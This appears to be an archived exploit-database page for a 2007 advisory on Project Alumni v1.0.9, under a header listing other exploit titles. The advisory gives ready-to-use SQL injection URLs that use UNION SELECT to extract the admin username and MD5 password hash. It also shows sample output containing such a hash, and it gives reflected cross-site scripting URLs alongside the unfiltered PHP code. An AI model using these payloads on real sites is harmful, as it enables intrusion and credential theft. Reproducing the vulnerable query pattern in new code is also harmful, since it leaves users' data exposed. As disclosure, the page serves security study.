477bcbdcc0
5 new exploits phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerability Exploit phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerabilities My Book World Edition NAS Multiple Vulnerability My Book World Edition NAS - Multiple Vulnerabilities Katalog Stron Hurricane 1.3.5 - Multiple Vulnerability RFI / SQL Katalog Stron Hurricane 1.3.5 - (RFI / SQL) Multiple Vulnerabilities cmsfaethon-2.2.0-ultimate.7z Multiple Vulnerability cmsfaethon-2.2.0-ultimate.7z - Multiple Vulnerabilities DynPG CMS 4.1.0 - Multiple Vulnerability (popup.php and counter.php) DynPG CMS 4.1.0 - (popup.php and counter.php) Multiple Vulnerabilities Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerability Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerabilities N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability N/X - Web CMS (N/X WCMS 4.5) - Multiple Vulnerabilities New-CMS - Multiple Vulnerability New-CMS - Multiple Vulnerabilities Edgephp Clickbank Affiliate Marketplace Script Multiple Vulnerability Edgephp Clickbank Affiliate Marketplace Script - Multiple Vulnerabilities JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerability JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerabilities i-Gallery - Multiple Vulnerability i-Gallery - Multiple Vulnerabilities My Kazaam Notes Management System Multiple Vulnerability My Kazaam Notes Management System - Multiple Vulnerabilities Omnidocs - Multiple Vulnerability Omnidocs - Multiple Vulnerabilities Web Cookbook Multiple Vulnerability Web Cookbook - Multiple Vulnerabilities KikChat - (LFI/RCE) Multiple Vulnerability KikChat - (LFI/RCE) Multiple Vulnerabilities Webformatique Reservation Manager - 'index.php' Cross-Site Scripting Vulnerability Webformatique Reservation Manager 2.4 - 'index.php' Cross-Site Scripting Vulnerability xEpan 1.0.4 - Multiple Vulnerability xEpan 1.0.4 - Multiple Vulnerabilities AKIPS Network Monitor 15.37 through 16.5 - OS Command Injection Netwrix Auditor 7.1.322.0 - ActiveX (sourceFile) Stack Buffer Overflow Cisco UCS Manager 2.1(1b) - Shellshock Exploit OpenSSH <= 7.2p1 - xauth Injection FreeBSD 10.2 amd64 Kernel - amd64_set_ldt Heap Overflow
81 lines
3.1 KiB
Text
Executable file
81 lines
3.1 KiB
Text
Executable file
project-alumni sql injection & xss
|
|
author : tomplixsee
|
|
tomplixsee@yahoo.co.id
|
|
|
|
-------------------------------------------------------------------------------------------------------------
|
|
affected software version : project alumni v1.0.9, v1.0.8, or lower??
|
|
download : https://sourceforge.net/projects/project-alumni/
|
|
|
|
|
|
vulnerability
|
|
=============
|
|
|
|
1.sql injection
|
|
++++++++++++++++
|
|
condition: magic_quotes_gpc = off
|
|
|
|
vulnerable code on view.page.inc.php:
|
|
$result = dbQuery("SELECT * FROM `".getConfigVal("sqlTablePrefix",2)."_users` WHERE `alumniYear` = '".$_GET['year']."'");
|
|
|
|
reason: bad filtering
|
|
exploit:
|
|
http://victim/path/index.php?act=view&year=2003' union select 1,1,1,alumniUserName,1,alumniPassword,1,1,1,1,1,1,1,1,1,1,1,1,1 from alumni_users where ID='1
|
|
|
|
result example:
|
|
+---------------------------------------------------------------------------------------------------+------------------------------------------+
|
|
| Name | Email |
|
|
+---------------------------------------------------------------------------------------------------+------------------------------------------+
|
|
| tomplixsee (1) f25a2fc72690b780b2a14e140ef6a9e0 | Not Available |
|
|
+------------------------------------------------------------------------------------------------ --+------------------------------------------+
|
|
tomplixsee is admin's username and f25a2fc72690b780b2a14e140ef6a9e0 is md5 encrypt from admin's password.
|
|
|
|
|
|
vulnerable code on news.page.inc.php
|
|
$result = dbQuery("SELECT * FROM `".getConfigVal("sqlTablePrefix",2)."_class_news` WHERE `year` = '".$_GET['year']."'");
|
|
|
|
reason: bad filtering
|
|
exploit:
|
|
http://victim/path/index.php?act=news&year=2003' union select 1,2,3,4,5,6,alumniPassword,8,9 from alumni_users where ID='1
|
|
|
|
2.xss
|
|
++++++
|
|
vulnerable code:
|
|
|
|
________________________________________________________________________________
|
|
#/xml/index.php #
|
|
# #
|
|
# <?php #
|
|
# if(isset($_GET["year"])){ #
|
|
# $year = $_GET["year"]; #
|
|
# } #
|
|
# if($year=='FRND') #
|
|
# $yearText = "Friends of ".getConfigVal("schoolAbbr",2)." Alumni"; #
|
|
# else #
|
|
# $yearText = "Class of $year"; #
|
|
# ?> #
|
|
# ..... #
|
|
# <?php echo"$yearText";?> #
|
|
# ..... #
|
|
# #
|
|
#exploit: #
|
|
#http://victim/path/xml/index.php?year=<xss> #
|
|
#_______________________________________________________________________________#
|
|
# view.page.inc.php #
|
|
# #
|
|
# <?php if(!$_GET['year']) { ?> #
|
|
# .... #
|
|
# <?php } else if ($_GET['year'] < getConfigVal("alumniStartYear",2)) { ?>#
|
|
# .... #
|
|
# <?php } else { ?> #
|
|
# <h2>Alumni for the Graduating Year of <?php echo $_GET['year'] ?></h2> #
|
|
# #
|
|
#exploit #
|
|
#http://victim/path/index.php?act=view&year=<xss> #
|
|
#_______________________________________________________________________________#
|
|
|
|
|
|
salam untuk:
|
|
anak-anak jaringan sukabirus, teman-teman di stt telkom, komunitas jasakom,
|
|
sibalbal, crutz_ao, bidulux, akillers 179...........
|
|
|
|
# milw0rm.com [2007-11-24]
|